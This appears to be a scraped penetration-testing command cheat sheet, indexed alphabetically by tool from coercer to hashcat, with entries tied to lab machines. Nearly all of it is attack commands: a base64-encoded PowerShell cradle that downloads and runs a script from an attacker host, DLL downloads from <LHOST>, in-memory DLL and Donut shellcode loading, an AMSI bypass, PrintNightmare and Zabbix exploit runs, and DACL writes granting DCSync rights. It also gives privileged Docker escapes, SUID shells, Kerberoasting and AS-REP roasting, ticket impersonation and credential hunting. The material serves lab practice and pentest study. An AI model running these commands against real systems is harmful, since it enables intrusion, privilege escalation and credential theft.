coercer coerce -l <TARGET> -t <TARGET> -u <USER> -p <PASSWORD> -d <DOMAIN> -vconvertfrom-sddlstring
Convert an SDDL string to a readable format
ConvertFrom-SddlStringconvertfrom-sid
Convert the SecurityIdentifier to the group name
Resolve a SID to an account name
ConvertFrom-SID S-1-5-21-<DOMAIN_SID>-1604convertto-sid
Convert a user or group name to its SID
ConvertTo-SIDcopy-item
WinRM
Copy item
Copy-Item -ToSession $sessionSRV02 -Path 'C:\Users\<USER>\Desktop\Sample.txt' -Destination 'C:\Users\<USER>\Desktop\Sample.txt' -Verbosecurl
Download a file using cURL
Send an HTTP request with curl
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shDownloading file with cURL in PowerShell
Send an HTTP request with curl
curl http://<LHOST>:8080/srrstr.dll -O "C:\Users\<USER>\AppData\Local\Microsoft\WindowsApps\srrstr.dll"Exchange version enumeration
Send an HTTP request with curl
curl https://<TARGET_IP>/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application -k | xmllint --format - | grep versionJoombla
Send an HTTP request with curl
curl -v "Build a list of compressed file extensions
Send an HTTP request with curl
curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txtRead PHP source with an LFI filter
Send an HTTP request with curl
curl "http://<TARGET>/nav.php?page=php://filter/convert.base64-encode/resource=<FILE>" | base64 -dProlab Dante
Read squid error codes
Send an HTTP request with curl
curl -s -x <PROXY_IP>:3128 http://<INTERNAL_HOST>:<PORT>/ | grep '<!-- ERR_'Prolab Fortress
cve-2021-1675
Run the exploit with a DLL payload from a share
sudo python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> '\\<TARGET>\<SHARE>\backupscript.dll'CVE-2022-23131
Zabbix SAML bypass
python3 cve-2022-23131.py -u <USER> https://<TARGET>/Zephyr notes
dacledit.py · Read and edit DACLs (Impacket)
Abusing GPO
Route a tool through a proxy chain
proxychains4 -q python3 examples/dacledit.py <DOMAIN>/<USER>:<PASSWORD> -target-dn "CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=<DOMAIN>,DC=<DOMAIN_PART>" -dc-ip <TARGET>ForceChangePassword
Read or modify an object's DACL (impacket)
python3 examples/dacledit.py -principal <USER> -target <TARGET_USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD>Enumeration
Read or modify an object's DACL (impacket)
python3 examples/dacledit.py -target <TARGET_USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD>ESC9
Read an object's DACL
dacledit.py -action read -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD> -principal <USER> -target <TARGET_USER>Grant Ownership
Write an object's DACL
python3 examples/dacledit.py -principal <USER> -target <TARGET_USER> -action write -rights FullControl -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD>Shadow Credentials
Read or modify an object's DACL (impacket)
python3 examples/dacledit.py -target <TARGET_USER> -principal <USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD>WriteDacl
Read or modify an object's DACL (impacket)
# -target-dn dc= dc=local
python3 examples/dacledit.py -principal <USER> -target-dn dc=<DOMAIN>,dc=local -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD># -target-dn dc= dc=local -action write
python3 examples/dacledit.py -principal <USER> -target-dn dc=<DOMAIN>,dc=local -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD> -action write -rights DCSync# -target -action write
python3 examples/dacledit.py -principal <USER> -target <TARGET_USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD> -action write# -target -action restore -file dacledit-20230524-21
python3 examples/dacledit.py -principal <USER> -target <TARGET_USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD> -action restore -file dacledit-20230524-211441.bakdcomexec
DCOM
Remote command execution over DCOM
proxychains4 -q python3 dcomexec.py -object MMC20 <DOMAIN>/<USER>:<PASSWORD>@<TARGET> "powershell -e <SNIP>" -silentcommanddd
describeTicket.py · Decode Kerberos tickets (Impacket)
Obtain TGT Session Key
Show the contents of a Kerberos ticket (impacket)
describeTicket.py crose.ccacheUsed on Phantom
dfscoerce
DFSCoerce
python3 dfscoerce.py -u <USER> -p <PASSWORD> <TARGET> <TARGET>dig
dnscat2 · DNS tunnel
Interact with an established dnscat2 session
window -i 1dnscmd
Loading a custom DLL with dnscmd
dnscmd.exe /config /serverlevelplugindll adduser.dlldnstool · AD DNS record tool (krbrelayx)
Unconstrained Delegation - Users
python dnstool.py -u <USER> -p <PASSWORD> -r roguecomputer.<DOMAIN> -d <LHOST> --action add <TARGET>docker
Generate Certificate
docker --tlsverify --tlscacert /srv/web.<DOMAIN>/shared/ca-copy.pem --tlscert /srv/web.<DOMAIN>/shared/svc-cert.pem --tlskey /srv/web.<DOMAIN>/shared/svc-key.pem -H tcp://<TARGET>:2376 imagesUsed on Fries
Mount /
Run bash
docker --tlsverify --tlscacert /srv/web.<DOMAIN>/shared/ca-copy.pem --tlscert /srv/web.<DOMAIN>/shared/svc-cert.pem --tlskey /srv/web.<DOMAIN>/shared/svc-key.pem -H tcp://<TARGET>:2376 run -it --rm -v /:/hacker --privileged gitea/gitea:1.22.6 chroot /hacker bashUsed on Fries
operator group enum
# run --rm --privileged
docker run --rm --privileged -it -v /:/host-root mysql sh -c "chroot /host-root sh"# images
docker imagesecho
SUID shell from a root script
echo 'cp /bin/sh /tmp/sh && chmod u+s /tmp/sh' > <WRITABLE_SCRIPT>Prolab Dante
Encode a PowerShell command
echo -n 'iex (New-Object Net.WebClient).DownloadString("http://<LHOST>:<PORT>/exec.ps1")' | iconv -t utf-16le | base64 -w0Prolab RastaLabs
Wordlist from a word with rules
Wordlist attack with rules
echo '<WORD>' | hashcat -r /usr/share/hashcat/rules/d3ad0ne.rule --stdout > wordlistProlab RastaLabs
enter-pssession
Constrained Delegation
Open an interactive PowerShell remoting session
Enter-PSSession ws01.<DOMAIN>Live SPN Jacking
Open an interactive PowerShell remoting session
Enter-PSSession -ComputerName WEB01Open a remote PowerShell session with credentials
Open an interactive PowerShell remoting session
Enter-PSSession -ComputerName <HOST> -Credential $credenum4linux
List domain user accounts
Search text with grep
enum4linux -U <TARGET> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"Enumerate the password policy (-P)
enum4linux -P <TARGET>enum4linux-ng
Enumerate the password policy (-P)
enum4linux-ng -P <TARGET> -oA ilfreightenumdb
MSSQL login brute force
Route a tool through a proxy chain
proxychains enumdb.py -U users.txt -P passes.txt -t mssql <TARGET> -brute -threads 10Prolab RastaLabs
eoploaddriver
Using EopLoadDriver
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.syserror.log
Evil-WinRM · WinRM shell for pentesting
Pass the hash
WinRM shell
evil-winrm -i <TARGET> -u <USER> -H <HASH>Used on Certified #1, Certified #2, Redelegate, Logging · evil-winrm README
Open a PowerShell session with evil-winrm
WinRM shell
evil-winrm -i <TARGET> -u <USER> -p <PASSWORD>Used on Authority #1, Authority #2 · evil-winrm README, Prolab Dante
Login with a Kerberos ticket
WinRM shell
evil-winrm -i dc01.<DOMAIN> -r <DOMAIN> -K <CCACHE>Login as user
WinRM shell
evil-winrm -i dc01.<DOMAIN> -u <USER> -p <PASSWORD> -r <DOMAIN>Open a WinRM session as a user
WinRM shell
evil-winrm -i <TARGET> -u <USER>evil-winrm README
WinRM over SSL with a certificate
WinRM shell
evil-winrm -i <TARGET> -S -P 5986 -c <CERT>.pem -k <KEY>.pemevil-winrm README
Other port
WinRM shell
evil-winrm -i <TARGET> -u <USER> -p <PASSWORD> -P <PORT>evil-winrm README
Set the Kerberos ticket
Use a Kerberos ticket cache
export KRB5CCNAME=<CCACHE>evil-winrm README
Sync the time with the DC
Sync the clock with the target (Kerberos needs it)
rdate -n <TARGET>evil-winrm README
Load scripts and executables
WinRM shell
evil-winrm -i <TARGET> -u <USER> -p <PASSWORD> -s <SCRIPTS_DIR> -e <EXE_DIR>evil-winrm README
Log the session
WinRM shell
evil-winrm -i <TARGET> -u <USER> -p <PASSWORD> -levil-winrm README
No colours, no path completion
WinRM shell
evil-winrm -i <TARGET> -u <USER> -p <PASSWORD> -n -Nevil-winrm README
Install
WinRM shell
gem install evil-winrmevil-winrm README
Run with Docker
WinRM shell
docker run --rm -ti --name evil-winrm -v /home/<USER>/ps1_scripts:/ps1_scripts -v /home/<USER>/exe_files:/exe_files -v /home/<USER>/data:/data oscarakaelvis/evil-winrm -i <TARGET> -u <USER> -p <PASSWORD>evil-winrm README
Upload a file
Upload a file to the target
upload <LOCAL_FILE> <REMOTE_FILE>evil-winrm README
Download a file
Download a file from the target
download <REMOTE_FILE> <LOCAL_FILE>evil-winrm README
List controllable services
List services on the target
servicesevil-winrm README
Show the loaded functions
Show the shell's built-in menu
menuevil-winrm README
Load a PowerShell script
Run a local PowerShell script in the session
<SCRIPT>.ps1evil-winrm README
Bypass AMSI
Bypass AMSI inside the session
Bypass-4MSIevil-winrm README
Run a .NET executable in memory
Run a .NET binary in memory
Invoke-Binary /opt/csharp/<BINARY>.exe '<ARGS>'evil-winrm README
Load a DLL from an SMB share
Load a DLL from an SMB share
Dll-Loader -smb -path \\<TARGET>\<SHARE>\<DLL>.dllevil-winrm README
Load a local DLL
Load a DLL from a path on the target
Dll-Loader -local -path C:\Users\<USER>\Desktop\<DLL>.dllevil-winrm README
Load a DLL over HTTP
Load a DLL over HTTP
Dll-Loader -http -path http://<LHOST>/<DLL>.dllevil-winrm README
Inject a donut payload
Inject Donut shellcode into a process
Donut-Loader -process_id <PID> -donutfile <DONUT_BIN>evil-winrm README
evil-winrm hash
WinRM shell
proxychains4 -q evil-winrm -u <USER> -H <NT_HASH> -i <TARGET>Zephyr notes
evil-winrm password
WinRM shell
proxychains4 -q evil-winrm -u <USER> -p <PASSWORD> -i <TARGET>Zephyr notes
priv esc
Download a file from the target
download SAMevil-winrm-py · WinRM shell for pentesting (Python)
export-powerviewcsv
Append results to a CSV file
Export power view csv
Export-PowerViewCSVdiskshadow
AddMembers
expose %mydrive% p:ffuf
FFUF Vhost Fuzzing
Fuzz web paths, parameters or vhosts
ffuf -w /opt/Tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u <USER> -H "Host: FUZZ.<DOMAIN>" -fs 154Used on Fries
subdomain
Fuzz web paths, parameters or vhosts
ffuf -ic -ufind
Spawn a shell with find -exec
Search the filesystem
find . -exec /bin/sh \; -quitFind binaries with the SETGID bit set
Find SUID/SGID or permissive files
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/nullFind binaries with the SUID bit set
Find SUID/SGID or permissive files
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullFind world-writeable directories
Find SUID/SGID or permissive files
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/nullFind world-writeable files
Find SUID/SGID or permissive files
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nulloperator group enum
Search the filesystem
find / -group operator 2>/dev/nullSearch for config files
Search the filesystem
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullSpawn a shell with find and awk
Search files by name
find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;Find text files in home directories
Search files by name
find /home/* -type f -name "*.txt" -o ! -name "*.*"Find SUID binaries
Find SUID/SGID or permissive files
find / -perm -4000 2>/dev/nullProlab Dante
SUID find to root shell
Search the filesystem
find . -exec /bin/bash -p \; -quitProlab Dante
find-admpwdextendedrights
Check LAPS read rights on each computer (LAPSToolkit)
Find adm pwd extended rights
Find-AdmPwdExtendedRightsfind-foreigngroup
Find foreign domain users
Find foreign group
Find-ForeignGroupfind-interestingdomainacl
Find object ACLs with modification rights in the domain
Find interesting domain acl
Find-InterestingDomainAclfind-interestingdomainsharefile
Search readable shares for files matching criteria
Find interesting domain share file
Find-InterestingDomainShareFilefind-lapsdelegatedgroups
Discover LAPS delegated groups (LAPSToolkit)
Find lapsdelegated groups
Find-LAPSDelegatedGroupsfind-localadminaccess
Find machines where the current user has local admin access
Find local admin access
Find-LocalAdminAccessfindDelegation.py · Find delegation in a domain (Impacket)
Constrained Delegation
findDelegation.py <DOMAIN>/<USER>:<PASSWORD>Live SPN Jacking
Route a tool through a proxy chain
proxychains4 -q findDelegation.py -target-domain <DOMAIN> -dc-ip <TARGET> -dc-host dc02 <DOMAIN>/<USER>:<PASSWORD>findstr · Windows text search
Search for files with the phrase "password"
Search files for the word password
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xmlSearching file contents for a string
Search files for the word password
# /si *.xml *.ini
findstr /si password *.xml *.ini *.txt *.config# /spin *.*
findstr /spin "password" *.*Search files for the string "password"
Git command
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.ymlfirefox
firefox-esr
Open Firefox through a SOCKS proxy with proxychains
Route a tool through a proxy chain
proxychains firefox-esr <TARGET>:80fping
Ping sweep a network segment
fping -asgq <TARGET>/23ftinfo
Parse data from msDS-TrustForestTrustInfo
python3 ftinfo.pyftp
ftp <TARGET>Used on Redelegate
gc
Reading PowerShell history file
gc (Get-PSReadLineOption).HistorySavePathSearching for passwords in Chrome dictionary files
gc 'C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String passwordgcc
Compile an exploit written in C
gcc kernel_expoit.c -o kernel_expoitCompiled a shared libary
gcc src.c -fPIC -shared -o /development/libshared.sogci
List named pipes with PowerShell
gci \\.\pipe\get-adcomputer
Get hostnames with the word "SQL" in their hostname
Query AD computers with PowerShell
Get-ADComputer -Filter "DNSHostName -like 'SQL*'"get-addomain
Gather domain information
Get addomain
Get-ADDomainget-addomaincontroller
GPO Attack (Child -> Parent)
Get addomain controller
Get-ADDomainController -Server <DOMAIN> |Select ServerObjectDNRetrieve the replication site of the root domain controller
Get addomain controller
Get-ADDomainController -Server <DOMAIN> | Select ServerObjectDNget-adgroup
Get all administrative groups
Query AD groups with PowerShell
Get-ADGroup -Filter "adminCount -eq 1" | select NameGet information about an AD group
Query AD groups with PowerShell
Get-ADGroup -Identity <OBJECT> -Properties *Obtain Enterprise Admins SID from parent domain
Query AD groups with PowerShell
Get-ADGroup -Identity <OBJECT> -Server <DOMAIN>List all domain groups
Query AD groups with PowerShell
Get-ADGroup -Filter * | select nameLook up a specific group (-Identity)
Query AD groups with PowerShell
Get-ADGroup -Identity <OBJECT>get-adgroupmember
List the members of a group
Query AD groups with PowerShell
Get-ADGroupMember -Identity <OBJECT>get-adtrust
Enumerate trust relationships
Get adtrust
Get-ADTrust -Filter *Trust Account Attack
Get adtrust
Get-ADTrust -Identity <DOMAIN>get-aduser
Enumerate UAC values for admin users
Query AD users with PowerShell
Get-ADUser -Filter {adminCount -gt 0} -Properties admincount,useraccountcontrolEnumerate users with SIDHistory enabled
Query AD users with PowerShell
Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistoryFind admin users that don't require Kerberos Pre-Auth
Query AD users with PowerShell
Get-ADUser -Filter {adminCount -eq '1' -and DoesNotRequirePreAuth -eq 'True'}List disabled users
Query AD users with PowerShell
Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=2)' | select nameList accounts that have an SPN
Query AD users with PowerShell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalNameExport all usernames to a file
Query AD users with PowerShell
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txtget-applockerpolicy
View AppLocker policies
Get app locker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsTest AppLocker policy
Get app locker policy
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyoneget-childitem
Confirming changed ownership of a file
Get child item
Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ | select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}}Query ShellWindows CLSID in registry using PowerShell
Get child item
Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID' | ForEach-Object{Get-ItemProperty -Path $_.PSPath | Where-Object {$_.'(default)' -eq 'ShellWindows'} | Select-Object -ExpandProperty PSChildName}Search for file extensions using PowerShell
Get child item
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignoreget-ciminstance
Check startup programs
Get cim instance
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | flQuery for installed software
Get ciminstance
get-ciminstance win32_product | flget-constraineddelegation
Ghost SPN Jacking
Get constrained delegation
Get-ConstrainedDelegation -CheckOrphanedget-dnsserverresourcerecord
Enumerate DNS records in parent domain
Get dns server resource record
Get-DnsServerResourceRecord -ComputerName DC01.<DOMAIN> -ZoneName <DOMAIN> -Name "@"get-eventlog
Search an event log
Get event log
Get-EventLog -LogName '<LOGNAME>' | Where-Object { $_.Message.Contains('<TEXT>') } | fl *Prolab RastaLabs
get-foresttrust
List forest trusts
Get forest trust
Get-ForestTrustget-gpo
Show a GPO name from its GUID
Get gpo
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532List GPO names
Get gpo
Get-GPO -All | Select DisplayNameget-gpoenumeration
Get GPOs where users have modification rights
Get gpoenumeration
Get-GPOEnumerationget-itemproperty
Decrypting Linked Server Passwords
Get item property
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"get-lapscomputers
List computers with LAPS enabled (LAPSToolkit)
Get lapscomputers
Get-LAPSComputersProlab RastaLabs
get-localuser
Check local user description field
Get local user
Get-LocalUserget-module
List available modules
Get module
Get-Moduleget-mpcomputerstatus
Check Windows Defender status
Get mp computer status
Get-MpComputerStatusget-mssqllinkpasswords
Decrypting Linked Server Passwords
Get mssqllink passwords
Get-MSSQLLinkPasswordsget-netlocalgroup
Get local groups on a host
Get net local group
Get-NetLocalGroup -ComputerName WS01Enumerate local groups on a machine
Get net local group
Get-NetLocalGroupget-netlocalgroupmember
Enumerate Remote Desktop Users group members
Get net local group member
Get-NetLocalGroupMember -ComputerName <HOST> -GroupName "Remote Desktop Users"Enumerate members of a local group
Get net local group member
Get-NetLocalGroupMemberget-netsession
List sessions on a machine
Get net session
Get-NetSessionget-netshare
List shares on a machine
Get net share
Get-NetShareget-pathacl
Find the ACLs set on a directory
Get path acl
Get-PathAcl "\\SQL01\DB_backups"get-process
Show process information
Get process
Get-Process lsassEnumerating a process ID with PowerShell
Get process
get-process -Id 3324get-scheduledtask
Enumerate scheduled tasks with PowerShell
Get scheduled task
Get-ScheduledTask | select TaskName,Stateget-service
Enumerate a running service by name with PowerShell
Get service
get-service | ? {$_.DisplayName -like 'Druva*'}get-spoolstatus
Check a host for MS-PRN exposure
Get spool status
Get-SpoolStatus -ComputerName <HOST>.<DOMAIN>get-sqlinstancedomain
Enumerate SQL Server instances
Get sqlinstance domain
Get-SQLInstanceDomainget-sqlquery
Enumerate login rights for user
Get sqlquery
Get-SQLQuery -Query "EXEC sp_helplinkedsrvlogin"Query the SQL Server version
Get sqlquery
Get-SQLQuery -Verbose -Instance "<TARGET>,1433" -username <USER> -password <PASSWORD> -query 'Select @@version'get-sqlserverlink
Enumerate SQL Server links
Get sqlserver link
Get-SQLServerLinkget-windowscapability
Check if RSAT tools are installed
Get windows capability
Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, StateInstall all RSAT tools
Get windows capability
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability –Onlineget-winevent
Searching event logs with PowerShell
Get win event
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}get-wmiobject
Enumerate computer description field
Query WMI objects
Get-WmiObject -Class Win32_OperatingSystem | select DescriptionGet AD groups using WMI
Query WMI objects
Get-WmiObject -Class win32_group -Filter "Domain='<DOMAIN>'"Get OS details from remote machine using PowerShell
Query WMI objects
Get-WmiObject -Class Win32_OperatingSystem -ComputerName <IP> | Select-Object Caption, CSDVersion, OSArchitecture, Versiongetlocalsid
Get LocalSid for SQL server
Route a tool through a proxy chain
proxychains python getlocalsid.py <DOMAIN>/<USER>@<DOMAIN> SQL02SID Filter Bypass
getlocalsid.py <DOMAIN>/<USER>@<DOMAIN> SQL02GetNPUsers.py · AS-REP roasting (Impacket)
aspreproasting
AS-REP roast users without Kerberos pre-auth
GetNPUsers.py <DOMAIN>/<USER> -usersfile users.list -no-pass | grep -v "Kerberos SessionError"ASREP-Roasting
AS-REP roast users without Kerberos pre-auth
# basic
GetNPUsers.py <DOMAIN>/<USER># -request
GetNPUsers.py <DOMAIN>/<USER> -requestasreprost
AS-REP roast users without Kerberos pre-auth
GetNPUsers.py -no-pass -usersfile /tmp/Sauna/users.list <DOMAIN>/AS-REP roast one user
AS-REP roast users without Kerberos pre-auth
GetNPUsers.py <DOMAIN>/<USER> -no-pass -dc-ip <TARGET>Prolab Dante
AS-REP roast through a pivot
AS-REP roast users without Kerberos pre-auth
proxychains GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt -dc-ip <DC_IP>Prolab Offshore
getnthash · Recover the NT hash from a PKINIT TGT (PKINITtools)
Submit a TGS request with getnthash.py
python /opt/PKINITtools/getnthash.py -key <HASH> <DOMAIN>/<USER>getST.py · Request service tickets, S4U (Impacket)
Constrained Delegation
Request a service ticket (S4U / impersonation)
getST.py -spn TERMSRV/DC01 '<DOMAIN>/<USER>:<PASSWORD>@rd$' -impersonate <USER>Resource Based Constrained Delegation
Request a service ticket (S4U / impersonation)
getST.py -spn cifs/DC01.<DOMAIN> -impersonate <USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD>Live SPN Jacking
Request a service ticket (S4U / impersonation)
# basic
proxychains4 -q getST.py -spn 'dmserver/DBSRV003' -impersonate <USER> '<DOMAIN>/SRV01$' -hashes# -altservice cifs/WEB01.
proxychains4 -q getST.py -spn 'dmserver/DBSRV003' -impersonate <USER> '<DOMAIN>/SRV01$' -hashes :<NT_HASH> -dc-ip <TARGET> -altservice "cifs/WEB01.<DOMAIN>"Unconstrained Delegation
Request a service ticket (S4U / impersonation)
getST.py <DOMAIN>/'<USER>':'<PASSWORD>' -spn cifs/dc.<DOMAIN> -impersonate <USER>Used on Redelegate
S4U2Self Impersonation
Request a service ticket (S4U / impersonation)
getST.py -self -impersonate <USER> -altservice HTTP/lus2dc.<DOMAIN> <DOMAIN>/<USER>:<PASSWORD>Used on LustrousTwo
writespn
Request a service ticket (S4U / impersonation)
getST.py -spn 'HTTP/web01.<DOMAIN>' -impersonate <USER> <DOMAIN>/<USER>:<PASSWORD> -dc-ip <TARGET> -altservice 'CIFS/dc01.<DOMAIN>'getTGT.py · Request a TGT (Impacket)
Resource Based Constrained Delegation
Request a TGT with impacket
getTGT.py <DOMAIN>/<USER> -hashes :<NT_HASH> -dc-ip <TARGET>Used on Fries
Domain Admin Access
Request a TGT with impacket
getTGT.py -hashes :<NT_HASH> <DOMAIN>/'Administrator'Used on Mirage
Get tgt as neri_adm
Request a TGT with impacket
getTGT.py -k <DOMAIN>/<USER>:<PASSWORD>Impacket command to request a TGT
Request a TGT with impacket
getTGT.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>Retrieve TGT <USER> User
Request a TGT with impacket
getTGT.py '<DOMAIN>/<USER>:<PASSWORD>readgmsa
Request a TGT with impacket
getTGT.py -k -hashes :<NT_HASH> '<DOMAIN>/gmsa01$'Requesting a TGT
Request a TGT with impacket
getTGT.py <DOMAIN>/<USER> -hashes :<NT_HASH>Used on VulnCicada
gettgtpkinit · Request a TGT with a certificate (PKINITtools)
ntlmrelayx Method
Request a TGT with impacket
python3 gettgtpkinit.py -dc-ip <TARGET> -cert-pfx <PFX> '<DOMAIN>/WS01$' ws01.ccacheShadow Credentials
Request a TGT with impacket
python3 gettgtpkinit.py -cert-pfx <PFX> -pfx-pass <PASSWORD> <DOMAIN>/<USER> jperez.ccacheRequest a TGT for the DC with gettgtpkinit.py
Request a TGT with impacket
python3 /opt/PKINITtools/gettgtpkinit.py <DOMAIN>/<HOST>\$ -pfx-base64 <BASE64_CERTIFICATE> = dc01.ccacheGetUserSPNs.py · Kerberoasting (Impacket)
Show GetUserSPNs.py options
Kerberoast: request service tickets for SPN accounts
GetUserSPNs.py -hKerberoast: request service tickets for SPN accounts
proxychains4 -q GetUserSPNs.py -dc-ip <TARGET> <DOMAIN>/<USER> -requestZephyr notes
Request a specific user's TGS (-request-user)
Kerberoast: request service tickets for SPN accounts
GetUserSPNs.py -dc-ip <TARGET> <DOMAIN>/<USER> -request-user <USER>Request a user's TGS and save it to a file
Kerberoast: request service tickets for SPN accounts
GetUserSPNs.py -dc-ip <TARGET> <DOMAIN>/<USER> -request-user <USER> -outputfile sqldev_tgsList SPNs in the domain
Kerberoast: request service tickets for SPN accounts
GetUserSPNs.py -dc-ip <TARGET> <DOMAIN>/<USER>Kerberoast across a trust
Kerberoast: request service tickets for SPN accounts
GetUserSPNs.py -request -target-domain <TARGET_DOMAIN> <DOMAIN>/<USER>kerberoastable users
Kerberoast: request service tickets for SPN accounts
# basic
GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <TARGET># -request
GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <TARGET> -requestKerberoasting
Kerberoast: request service tickets for SPN accounts
# : -request-user
GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <TARGET> -request-user <USER># -request
GetUserSPNs.py <DOMAIN>/<USER> -request# -usersfile userlist.txt
GetUserSPNs.py <DOMAIN>/<USER> -usersfile userlist.txtUsed on Breach
Kerberoasting <USER>
Kerberoast: request service tickets for SPN accounts
GetUserSPNs.py -dc-ip <TARGET> -request-user <USER> -k '<DOMAIN>/<USER>:<PASSWORD>@' -dc-host dc01.<DOMAIN>Used on Mirage
git
Clones the dnscat2 project GitHub repository
Clone a repository
git clone https://github.com/iagox86/dnscat2.gitClones the dnscat2-powershell project Github repository
Clone a repository
git clone https://github.com/lukebaggett/dnscat2-powershell.gitClones the ptunnel-ng project GitHub repository
Clone a repository
git clone https://github.com/utoni/ptunnel-ng.gitClones the rpivot project GitHub repository
Clone a repository
sudo git clone https://github.com/klsecservices/rpivot.gitClone noPac
Clone a repository
sudo git clone https://github.com/Ridter/noPac.gitClone the PrintNightmare exploit
Clone a repository
git clone https://github.com/cube0x0/CVE-2021-1675.gitClone PetitPotam
Clone a repository
git clone https://github.com/topotam/PetitPotam.gitClone kerbrute
Clone a repository
sudo git clone https://github.com/ropnop/kerbrute.gitgmsadumper
ReadLAPPassword
python3 gMSADumper.py -d <DOMAIN> -l <TARGET> -u <USER> -p <PASSWORD>gobuster
Directory brute force through a proxy
Brute force web directories
gobuster dir -p socks5://127.0.0.1:1080 --url http://<TARGET>/ -w /usr/share/wordlists/dirb/common.txtProlab Dante
Find backup files
Brute force web directories
gobuster dir -p socks5://127.0.0.1:1080 --url http://<TARGET>/ -w /usr/share/wordlists/dirb/common.txt -x php.bakProlab Dante
gpowned
-d Backup GPO with GPOwned
Route a tool through a proxy chain
proxychains4 -q python3 GPOwned.py -u <USER> -p <PASSWORD> <DOMAIN> -dc-ip <TARGET> -gpcmachine -backup backupgpo -name "{31B2F340-016D-11D2-945F-00C04FB984F9}"-d List GPO Links with GPOwned
Route a tool through a proxy chain
proxychains4 -q python3 GPOwned.py -u <USER> -p <PASSWORD> <DOMAIN> -dc-ip <TARGET> -gpcmachine -listgplink-d List GPOs with GPOwned
Route a tool through a proxy chain
proxychains4 -q python3 GPOwned.py -u <USER> -p <PASSWORD> <DOMAIN> -dc-ip <TARGET> -gpcmachine -listgpoAbusing GPO
Route a tool through a proxy chain
# -listgpo
proxychains4 -q python3 GPOwned.py -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <TARGET> -gpcmachine -listgpo# -backup backupgpo -name 31B2F340-016D-11D2-945F-00
proxychains4 -q python3 GPOwned.py -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <TARGET> -gpcmachine -backup backupgpo -name "{31B2F340-016D-11D2-945F-00C04FB984F9}"gpp-decrypt
Decrypt a Group Policy Preferences password
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaEgpresult
Get a report of all GPOs applied to a host
gpresult /r /S WS01grep
ADCS Folder
Search recursively in files
grep -ri pass .PHP memory limit
Search text with grep
grep -iE 'memory size exhausted|Allowed memory size' error.logUsed on dOOMs Day
Understanding Vulnerability
Search text with grep
grep -F '0 "-" "-"' access.log | sort | head -n 5Used on dOOMs Day
Find files containing PRIVATE KEY
Search recursively in files
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"Find ssh-rsa keys in home directories
SSH login
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"guestmount
Mount VHD/VHDX on Linux
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1Mount VMDK on Linux
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdHashcat · Password recovery
Usage · GitHub · Wiki · Website · Example hashes (modes) · Rule-based attack · Mask attack · FAQ
Hashcat by hash mode
Crack hashes with hashcat (mode 18200)
# 18200 Kerberos AS-REP (etype 23)
hashcat -m 18200 <HASHFILE> <WORDLIST># 13100 Kerberos TGS-REP (etype 23)
hashcat -m 13100 <HASHFILE> <WORDLIST> --force# 13400 KeePass
hashcat -a 0 -m 13400 <HASHFILE> <WORDLIST> --show# 1410
